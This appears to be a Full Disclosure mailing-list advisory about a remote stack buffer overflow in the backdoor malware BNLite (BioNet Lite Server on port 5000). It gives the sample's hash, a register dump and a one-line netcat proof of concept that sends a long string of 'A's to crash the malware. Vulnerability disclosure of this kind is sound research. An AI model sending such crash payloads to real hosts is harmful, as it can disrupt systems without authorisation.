full-disclosure - [FD] Backdoor.Win32.BNLite / Remote Stack Buffer Overflow

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Message-ID: <CAAHK0WTsafTXiudJuW=sNBE=wFsbC-FNmb-1HeR9AMEByy2CYw@mail.gmail.com>
Date: Thu, 3 Mar 2022 20:55:28 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.BNLite / Remote Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/0d1f873f6816debd244e1e77509f6ba7.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BNLite
Vulnerability: Remote Stack Buffer Overflow
Description: BioNet Lite Server 4.0a listens on TCP port 5000. Third-party
attackers who can reach an infected system can trigger a buffer overflow
overwriting the ECX, EDX and AX (16-bit) registers by sending a long junk
payload.
Family: BNLite
Type: PE32
MD5: 0d1f873f6816debd244e1e77509f6ba7
Vuln ID: MVID-2022-0502
Dropped files: procmon.exe
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 03/03/2022

Memory Dump:
EAX : 00004141
EBX : 027BD120
ECX : 41414141
EDX : 41414141
EBP : 0019FC08
ESP : 0019FA48
ESI : 027BD128
EDI : 02780000
EIP : 776E2D6A     ntdll.776E2D6A

Exploit/PoC:
C:\>python -c "print('A'*10000)" | nc64.exe x.x.x.x 5000

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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